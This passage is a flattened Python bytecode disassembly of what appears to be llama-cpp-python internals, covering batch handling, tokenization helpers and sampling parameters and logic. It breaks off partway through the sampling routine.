POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_grammar_accept_token LOAD_FAST self LOAD_ATTR ctx LOAD_FAST grammar LOAD_ATTR grammar LOAD_FAST token CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_reset_timings LOAD_FAST self LOAD_ATTR ctx CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_print_timings LOAD_FAST self LOAD_ATTR ctx CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL llama_cpp LOAD_METHOD llama_context_default_params CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LlamaBatch' STORE_NAME __qualname__ LOAD_CONST None STORE_NAME _llama_batch_free LOAD_CONST True LOAD_CONST ('verbose',) BUILD_CONST_KEY_MAP LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'bool' LOAD_CONST ('n_tokens', 'embd', 'n_seq_max', 'verbose') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab640c2780, file "f.py", line 473> LOAD_CONST '_LlamaBatch.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __del__ at 0x7fab640c2810, file "f.py", line 488> LOAD_CONST '_LlamaBatch.__del__' MAKE_FUNCTION STORE_NAME __del__ LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object n_tokens at 0x7fab640c28a0, file "f.py", line 493> LOAD_CONST '_LlamaBatch.n_tokens' MAKE_FUNCTION STORE_NAME n_tokens LOAD_CONST <code object reset at 0x7fab640c2930, file "f.py", line 497> LOAD_CONST '_LlamaBatch.reset' MAKE_FUNCTION STORE_NAME reset LOAD_CONST 'Sequence[int]' LOAD_CONST 'int' LOAD_CONST 'bool' LOAD_CONST ('batch', 'n_past', 'logits_all') BUILD_CONST_KEY_MAP LOAD_CONST <code object set_batch at 0x7fab640c2a50, file "f.py", line 501> LOAD_CONST '_LlamaBatch.set_batch' MAKE_FUNCTION STORE_NAME set_batch LOAD_CONST 'Sequence[int]' LOAD_CONST 'int' LOAD_CONST 'bool' LOAD_CONST ('batch', 'seq_id', 'logits_all') BUILD_CONST_KEY_MAP LOAD_CONST <code object add_sequence at 0x7fab640c2b70, file "f.py", line 513> LOAD_CONST '_LlamaBatch.add_sequence' MAKE_FUNCTION STORE_NAME add_sequence LOAD_CONST None RETURN_VALUE LOAD_FAST n_tokens LOAD_FAST self STORE_ATTR n_tokens LOAD_FAST embd LOAD_FAST self STORE_ATTR embd LOAD_FAST n_seq_max LOAD_FAST self STORE_ATTR n_seq_max LOAD_FAST verbose LOAD_FAST self STORE_ATTR verbose LOAD_GLOBAL llama_cpp LOAD_ATTR _lib LOAD_ATTR llama_batch_free LOAD_FAST self STORE_ATTR _llama_batch_free LOAD_CONST None LOAD_FAST self STORE_ATTR batch LOAD_GLOBAL llama_cpp LOAD_METHOD llama_batch_init LOAD_FAST self LOAD_ATTR n_tokens LOAD_FAST self LOAD_ATTR embd LOAD_FAST self LOAD_ATTR n_seq_max CALL_METHOD LOAD_FAST self STORE_ATTR batch LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _llama_batch_free LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _llama_batch_free LOAD_FAST self LOAD_ATTR batch CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR batch LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR batch LOAD_ATTR n_tokens RETURN_VALUE LOAD_FAST self LOAD_ATTR batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 0 LOAD_FAST self LOAD_ATTR batch STORE_ATTR n_tokens LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST batch CALL_FUNCTION STORE_FAST n_tokens LOAD_FAST n_tokens LOAD_FAST self LOAD_ATTR batch STORE_ATTR n_tokens SETUP_LOOP to 120 LOAD_GLOBAL range LOAD_FAST n_tokens CALL_FUNCTION GET_ITER FOR_ITER to 118 STORE_FAST i LOAD_FAST batch LOAD_FAST i BINARY_SUBSCR LOAD_FAST self LOAD_ATTR batch LOAD_ATTR token LOAD_FAST i STORE_SUBSCR LOAD_FAST n_past LOAD_FAST i BINARY_ADD LOAD_FAST self LOAD_ATTR batch LOAD_ATTR pos LOAD_FAST i STORE_SUBSCR LOAD_CONST 0 LOAD_FAST self LOAD_ATTR batch LOAD_ATTR seq_id LOAD_FAST i BINARY_SUBSCR LOAD_CONST 0 STORE_SUBSCR LOAD_CONST 1 LOAD_FAST self LOAD_ATTR batch LOAD_ATTR n_seq_id LOAD_FAST i STORE_SUBSCR LOAD_FAST logits_all LOAD_FAST self LOAD_ATTR batch LOAD_ATTR logits LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_CONST True LOAD_FAST self LOAD_ATTR batch LOAD_ATTR logits LOAD_FAST n_tokens LOAD_CONST 1 BINARY_SUBTRACT STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST batch CALL_FUNCTION STORE_FAST n_tokens LOAD_FAST self LOAD_ATTR batch LOAD_ATTR n_tokens STORE_FAST n_tokens0 LOAD_FAST self LOAD_ATTR batch DUP_TOP LOAD_ATTR n_tokens LOAD_FAST n_tokens INPLACE_ADD ROT_TWO STORE_ATTR n_tokens SETUP_LOOP to 140 LOAD_GLOBAL range LOAD_FAST n_tokens CALL_FUNCTION GET_ITER FOR_ITER to 138 STORE_FAST i LOAD_FAST n_tokens0 LOAD_FAST i BINARY_ADD STORE_FAST j LOAD_FAST batch LOAD_FAST i BINARY_SUBSCR LOAD_FAST self LOAD_ATTR batch LOAD_ATTR token LOAD_FAST j STORE_SUBSCR LOAD_FAST i LOAD_FAST self LOAD_ATTR batch LOAD_ATTR pos LOAD_FAST j STORE_SUBSCR LOAD_FAST seq_id LOAD_FAST self LOAD_ATTR batch LOAD_ATTR seq_id LOAD_FAST j BINARY_SUBSCR LOAD_CONST 0 STORE_SUBSCR LOAD_CONST 1 LOAD_FAST self LOAD_ATTR batch LOAD_ATTR n_seq_id LOAD_FAST j STORE_SUBSCR LOAD_FAST logits_all LOAD_FAST self LOAD_ATTR batch LOAD_ATTR logits LOAD_FAST j STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_CONST True LOAD_FAST self LOAD_ATTR batch LOAD_ATTR logits LOAD_FAST n_tokens LOAD_CONST 1 BINARY_SUBTRACT STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LlamaTokenDataArray' STORE_NAME __qualname__ LOAD_CONST 'int' LOAD_CONST ('n_vocab',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab640c2e40, file "f.py", line 529> LOAD_CONST '_LlamaTokenDataArray.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST 'npt.NDArray[np.single]' LOAD_CONST ('logits',) BUILD_CONST_KEY_MAP LOAD_CONST <code object copy_logits at 0x7fab640c2ed0, file "f.py", line 546> LOAD_CONST '_LlamaTokenDataArray.copy_logits' MAKE_FUNCTION STORE_NAME copy_logits LOAD_CONST None RETURN_VALUE LOAD_FAST n_vocab LOAD_FAST self STORE_ATTR n_vocab LOAD_GLOBAL np LOAD_ATTR array BUILD_LIST LOAD_GLOBAL np LOAD_ATTR dtype LOAD_CONST 'id' LOAD_GLOBAL np LOAD_ATTR intc BUILD_TUPLE LOAD_CONST 'logit' LOAD_GLOBAL np LOAD_ATTR single BUILD_TUPLE LOAD_CONST 'p' LOAD_GLOBAL np LOAD_ATTR single BUILD_TUPLE BUILD_LIST LOAD_CONST True LOAD_CONST ('align',) CALL_FUNCTION LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST self STORE_ATTR candidates_data LOAD_FAST self LOAD_ATTR candidates_data LOAD_ATTR resize LOAD_CONST 3 LOAD_FAST self LOAD_ATTR n_vocab LOAD_CONST False LOAD_CONST ('refcheck',) CALL_FUNCTION POP_TOP LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token_data_array LOAD_FAST self LOAD_ATTR candidates_data LOAD_ATTR ctypes LOAD_METHOD data_as LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token_data_p CALL_METHOD LOAD_FAST self LOAD_ATTR n_vocab LOAD_CONST False LOAD_CONST ('data', 'size', 'sorted') CALL_FUNCTION LOAD_FAST self STORE_ATTR candidates LOAD_GLOBAL np LOAD_ATTR arange LOAD_FAST self LOAD_ATTR n_vocab LOAD_GLOBAL np LOAD_ATTR intc LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST self STORE_ATTR default_candidates_data_id LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST self LOAD_ATTR n_vocab LOAD_GLOBAL np LOAD_ATTR single LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST self STORE_ATTR default_candidates_data_p LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR default_candidates_data_id LOAD_FAST self LOAD_ATTR candidates_data LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST logits LOAD_FAST self LOAD_ATTR candidates_data LOAD_CONST 'logit' BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST self LOAD_ATTR default_candidates_data_p LOAD_FAST self LOAD_ATTR candidates_data LOAD_CONST 'p' BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST self LOAD_ATTR candidates_data LOAD_ATTR ctypes LOAD_METHOD data_as LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token_data_p CALL_METHOD LOAD_FAST self LOAD_ATTR candidates STORE_ATTR data LOAD_GLOBAL llama_cpp LOAD_METHOD c_bool LOAD_CONST False CALL_METHOD LOAD_FAST self LOAD_ATTR candidates STORE_ATTR sorted LOAD_GLOBAL llama_cpp LOAD_METHOD c_size_t LOAD_FAST self LOAD_ATTR n_vocab CALL_METHOD LOAD_FAST self LOAD_ATTR candidates STORE_ATTR size LOAD_CONST None RETURN_VALUE LOAD_FAST add_bos POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST text CALL_FUNCTION LOAD_CONST 1 BINARY_ADD JUMP_FORWARD to 22 LOAD_GLOBAL len LOAD_FAST text CALL_FUNCTION STORE_FAST n_tokens LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token LOAD_FAST n_tokens BINARY_MULTIPLY CALL_FUNCTION STORE_FAST result LOAD_GLOBAL llama_cpp LOAD_METHOD llama_tokenize LOAD_FAST model LOAD_ATTR model LOAD_FAST text LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD LOAD_GLOBAL len LOAD_FAST text CALL_FUNCTION LOAD_FAST result LOAD_FAST n_tokens LOAD_FAST add_bos LOAD_FAST special CALL_METHOD STORE_FAST n_tokens LOAD_FAST n_tokens LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token LOAD_FAST n_tokens UNARY_NEGATIVE BINARY_MULTIPLY CALL_FUNCTION STORE_FAST result LOAD_GLOBAL llama_cpp LOAD_METHOD llama_tokenize LOAD_FAST model LOAD_ATTR model LOAD_FAST text LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD LOAD_GLOBAL len LOAD_FAST text CALL_FUNCTION LOAD_FAST result LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION LOAD_FAST add_bos LOAD_FAST special CALL_METHOD STORE_FAST check LOAD_FAST check LOAD_FAST n_tokens UNARY_NEGATIVE COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Failed to tokenize: text="' LOAD_FAST text FORMAT_VALUE LOAD_CONST '" n_tokens=' LOAD_FAST n_tokens FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 174 LOAD_FAST result LOAD_CONST None LOAD_FAST n_tokens BUILD_SLICE BINARY_SUBSCR STORE_FAST result LOAD_GLOBAL list LOAD_FAST result CALL_FUNCTION RETURN_VALUE LOAD_FAST model LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL ctypes LOAD_ATTR c_char LOAD_CONST 8 BINARY_MULTIPLY LOAD_CONST 0 CALL_FUNCTION STORE_FAST result LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_to_piece LOAD_FAST model LOAD_ATTR model LOAD_FAST token LOAD_FAST result LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION CALL_METHOD STORE_FAST n_tokens LOAD_FAST n_tokens LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL ctypes LOAD_ATTR c_char LOAD_FAST n_tokens UNARY_NEGATIVE BINARY_MULTIPLY LOAD_CONST 0 CALL_FUNCTION STORE_FAST result LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_to_piece LOAD_FAST model LOAD_ATTR model LOAD_FAST token LOAD_FAST result LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION CALL_METHOD STORE_FAST check LOAD_FAST check LOAD_FAST n_tokens UNARY_NEGATIVE COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Failed to get piece: token=' LOAD_FAST token FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 134 LOAD_FAST result LOAD_CONST None LOAD_FAST n_tokens BUILD_SLICE BINARY_SUBSCR STORE_FAST result LOAD_GLOBAL bytes LOAD_FAST result CALL_FUNCTION LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD RETURN_VALUE LOAD_FAST model LOAD_METHOD token_bos CALL_METHOD STORE_FAST bos_id LOAD_CONST '' STORE_FAST result SETUP_LOOP to 116 LOAD_GLOBAL enumerate LOAD_FAST tokens CALL_FUNCTION GET_ITER FOR_ITER to 114 UNPACK_SEQUENCE STORE_FAST i STORE_FAST token LOAD_GLOBAL _token_to_piece LOAD_FAST model LOAD_FAST token CALL_FUNCTION STORE_FAST piece LOAD_FAST tokens LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST bos_id COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST i LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST tokens LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST bos_id COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST i LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST piece LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST ' ' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST piece LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST piece LOAD_FAST result LOAD_FAST piece INPLACE_ADD STORE_FAST result JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_CONST '' STORE_FAST result SETUP_LOOP to 36 LOAD_FAST tokens GET_ITER FOR_ITER to 34 STORE_FAST token LOAD_GLOBAL _token_to_piece LOAD_FAST model LOAD_FAST token CALL_FUNCTION STORE_FAST piece LOAD_FAST result LOAD_FAST piece INPLACE_ADD STORE_FAST result JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_FAST model LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_add_bos_token LOAD_FAST model LOAD_ATTR model CALL_METHOD STORE_FAST add_bos LOAD_FAST add_bos LOAD_CONST -1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST add_bos LOAD_CONST 0 COMPARE_OP != RETURN_VALUE LOAD_GLOBAL llama_cpp LOAD_METHOD llama_vocab_type LOAD_FAST model LOAD_ATTR model CALL_METHOD LOAD_GLOBAL llama_cpp LOAD_ATTR LLAMA_VOCAB_TYPE_SPM COMPARE_OP == RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LlamaSamplingParams' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 64 STORE_NAME n_prev LOAD_CONST 'int' LOAD_NAME __annotations__ LOAD_CONST 'n_prev' STORE_SUBSCR LOAD_CONST 0 STORE_NAME n_probs LOAD_CONST 'int' LOAD_NAME __annotations__ LOAD_CONST 'n_probs' STORE_SUBSCR LOAD_CONST 40 STORE_NAME top_k LOAD_CONST 'int' LOAD_NAME __annotations__ LOAD_CONST 'top_k' STORE_SUBSCR LOAD_CONST 0.95 STORE_NAME top_p LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'top_p' STORE_SUBSCR LOAD_CONST 0.05 STORE_NAME min_p LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'min_p' STORE_SUBSCR LOAD_CONST 1.0 STORE_NAME tfs_z LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'tfs_z' STORE_SUBSCR LOAD_CONST 1.0 STORE_NAME typical_p LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'typical_p' STORE_SUBSCR LOAD_CONST 0.8 STORE_NAME temp LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'temp' STORE_SUBSCR LOAD_CONST 64 STORE_NAME penalty_last_n LOAD_CONST 'int' LOAD_NAME __annotations__ LOAD_CONST 'penalty_last_n' STORE_SUBSCR LOAD_CONST 1.1 STORE_NAME penalty_repeat LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'penalty_repeat' STORE_SUBSCR LOAD_CONST 0.0 STORE_NAME penalty_freq LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'penalty_freq' STORE_SUBSCR LOAD_CONST 0.0 STORE_NAME penalty_present LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'penalty_present' STORE_SUBSCR LOAD_CONST 0 STORE_NAME mirostat LOAD_CONST 'int' LOAD_NAME __annotations__ LOAD_CONST 'mirostat' STORE_SUBSCR LOAD_CONST 5.0 STORE_NAME mirostat_tau LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'mirostat_tau' STORE_SUBSCR LOAD_CONST 0.1 STORE_NAME mirostat_eta LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'mirostat_eta' STORE_SUBSCR LOAD_CONST True STORE_NAME penalize_nl LOAD_CONST 'bool' LOAD_NAME __annotations__ LOAD_CONST 'penalize_nl' STORE_SUBSCR LOAD_CONST '' STORE_NAME grammar LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'grammar' STORE_SUBSCR LOAD_CONST '' STORE_NAME cfg_negative_prompt LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'cfg_negative_prompt' STORE_SUBSCR LOAD_CONST 1.0 STORE_NAME cfg_scale LOAD_CONST 'float' LOAD_NAME __annotations__ LOAD_CONST 'cfg_scale' STORE_SUBSCR LOAD_NAME field LOAD_NAME dict LOAD_CONST ('default_factory',) CALL_FUNCTION STORE_NAME logit_bias LOAD_CONST 'dict[int, float]' LOAD_NAME __annotations__ LOAD_CONST 'logit_bias' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LlamaSamplingContext' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_NAME field LOAD_NAME _LlamaSamplingParams LOAD_CONST ('default_factory',) CALL_FUNCTION STORE_NAME params LOAD_CONST '_LlamaSamplingParams' LOAD_NAME __annotations__ LOAD_CONST 'params' STORE_SUBSCR LOAD_NAME field LOAD_NAME ctypes LOAD_ATTR c_float LOAD_CONST ('default_factory',) CALL_FUNCTION STORE_NAME mirostat_mu LOAD_CONST 'ctypes.c_float' LOAD_NAME __annotations__ LOAD_CONST 'mirostat_mu' STORE_SUBSCR LOAD_CONST None STORE_NAME grammar LOAD_CONST 'Optional[LlamaGrammar]' LOAD_NAME __annotations__ LOAD_CONST 'grammar' STORE_SUBSCR LOAD_NAME field LOAD_NAME list LOAD_CONST ('default_factory',) CALL_FUNCTION STORE_NAME prev LOAD_CONST 'list[int]' LOAD_NAME __annotations__ LOAD_CONST 'prev' STORE_SUBSCR LOAD_NAME field LOAD_NAME list LOAD_CONST ('default_factory',) CALL_FUNCTION STORE_NAME cur LOAD_CONST 'list[llama_cpp.llama_token_data]' LOAD_NAME __annotations__ LOAD_CONST 'cur' STORE_SUBSCR LOAD_CONST <code object reset at 0x7fab8027e4b0, file "f.py", line 666> LOAD_CONST '_LlamaSamplingContext.reset' MAKE_FUNCTION STORE_NAME reset LOAD_CONST <code object cp at 0x7fab8027e540, file "f.py", line 672> LOAD_CONST '_LlamaSamplingContext.cp' MAKE_FUNCTION STORE_NAME cp LOAD_CONST 'Optional[int]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object last at 0x7fab8027e5d0, file "f.py", line 681> LOAD_CONST '_LlamaSamplingContext.last' MAKE_FUNCTION STORE_NAME last LOAD_CONST '_LlamaContext' LOAD_CONST 'int' LOAD_CONST 'str' LOAD_CONST ('ctx_main', 'n', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object prev_str at 0x7fab8027e660, file "f.py", line 687> LOAD_CONST '_LlamaSamplingContext.prev_str' MAKE_FUNCTION STORE_NAME prev_str LOAD_CONST (None, 0, None) LOAD_CONST '_LlamaContext' LOAD_CONST 'Optional[_LlamaContext]' LOAD_CONST 'int' LOAD_CONST 'Optional[npt.NDArray[np.single]]' LOAD_CONST ('ctx_main', 'ctx_cfg', 'idx', 'logits_array') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample at 0x7fab8027e810, file "f.py", line 690> LOAD_CONST '_LlamaSamplingContext.sample' MAKE_FUNCTION STORE_NAME sample LOAD_CONST '_LlamaContext' LOAD_CONST 'int' LOAD_CONST 'bool' LOAD_CONST ('ctx_main', 'id', 'apply_grammar') BUILD_CONST_KEY_MAP LOAD_CONST <code object accept at 0x7fab8027e6f0, file "f.py", line 783> LOAD_CONST '_LlamaSamplingContext.accept' MAKE_FUNCTION STORE_NAME accept LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST self STORE_ATTR prev BUILD_LIST LOAD_FAST self STORE_ATTR cur LOAD_FAST self LOAD_ATTR grammar LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR grammar LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _LlamaSamplingContext LOAD_FAST self LOAD_ATTR params LOAD_FAST self LOAD_ATTR mirostat_mu LOAD_FAST self LOAD_ATTR grammar LOAD_FAST self LOAD_ATTR prev LOAD_METHOD copy CALL_METHOD LOAD_FAST self LOAD_ATTR cur LOAD_METHOD copy CALL_METHOD LOAD_CONST ('params', 'mirostat_mu', 'grammar', 'prev', 'cur') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR prev CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR prev LOAD_CONST -1 BINARY_SUBSCR RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST ctx_main LOAD_ATTR model LOAD_METHOD detokenize LOAD_FAST self LOAD_ATTR prev LOAD_FAST n UNARY_NEGATIVE LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_METHOD LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD RETURN_VALUE LOAD_FAST ctx_main LOAD_ATTR model LOAD_METHOD n_vocab CALL_METHOD STORE_FAST n_vocab LOAD_CONST 0 STORE_FAST id LOAD_FAST logits_array LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD get_logits_ith LOAD_FAST idx CALL_METHOD STORE_FAST logits LOAD_GLOBAL np LOAD_ATTR array LOAD_GLOBAL ctypes LOAD_METHOD cast LOAD_FAST logits LOAD_GLOBAL ctypes LOAD_METHOD POINTER LOAD_GLOBAL ctypes LOAD_ATTR c_float LOAD_FAST n_vocab BINARY_MULTIPLY CALL_METHOD CALL_METHOD LOAD_ATTR contents LOAD_GLOBAL np LOAD_ATTR single LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST logits_array SETUP_LOOP to 112 LOAD_FAST self LOAD_ATTR params LOAD_ATTR logit_bias LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 110 UNPACK_SEQUENCE STORE_FAST token STORE_FAST logit_bias LOAD_FAST logits_array LOAD_FAST token DUP_TOP BINARY_SUBSCR LOAD_FAST logit_bias INPLACE_ADD ROT_THREE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL _LlamaTokenDataArray LOAD_FAST n_vocab LOAD_CONST ('n_vocab',) CALL_FUNCTION STORE_FAST token_data_array LOAD_FAST token_data_array LOAD_METHOD copy_logits LOAD_FAST logits_array CALL_METHOD POP_TOP LOAD_FAST ctx_cfg LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD sample_classifier_free_guidance LOAD_FAST token_data_array LOAD_FAST ctx_cfg LOAD_FAST self LOAD_ATTR params LOAD_ATTR cfg_scale CALL_METHOD POP_TOP LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR prev CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_ATTR model LOAD_METHOD token_nl CALL_METHOD STORE_FAST nl_token LOAD_FAST logits_array LOAD_FAST nl_token BINARY_SUBSCR STORE_FAST nl_logit LOAD_FAST self LOAD_ATTR params LOAD_ATTR penalty_last_n LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD sample_repetition_penalties LOAD_FAST token_data_array LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR prev CALL_FUNCTION BINARY_MULTIPLY LOAD_FAST self LOAD_ATTR prev CALL_FUNCTION LOAD_FAST self LOAD_ATTR params LOAD_ATTR penalty_last_n LOAD_FAST self LOAD_ATTR params LOAD_ATTR penalty_repeat LOAD_FAST self LOAD_ATTR params LOAD_ATTR penalty_freq LOAD_FAST self LOAD_ATTR params LOAD_ATTR penalty_present CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR params LOAD_ATTR penalize_nl EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST nl_logit LOAD_FAST token_data_array LOAD_ATTR candidates_data LOAD_CONST 'logit' BINARY_SUBSCR LOAD_FAST nl_token STORE_SUBSCR LOAD_FAST self LOAD_ATTR grammar LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD sample_grammar LOAD_FAST token_data_array LOAD_FAST self LOAD_ATTR grammar CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR params LOAD_ATTR temp LOAD_CONST 0 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD sample_softmax LOAD_FAST token_data_array CALL_METHOD POP_TOP LOAD_FAST token_data_array LOAD_ATTR candidates_data LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR STORE_FAST id EXTENDED_ARG JUMP_FORWARD to 654 LOAD_FAST self LOAD_ATTR params LOAD_ATTR temp LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ctx_main LOAD_METHOD sample_token_greedy LOAD_FAST token_data_array CALL_METHOD STORE_FAST id EXTENDED_ARG JUMP_FORWARD to 654 LOAD_FAST self LOAD_ATTR params LOAD_ATTR mirostat LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 100 STORE_FAST mirostat_m LOAD_FAST ctx_main 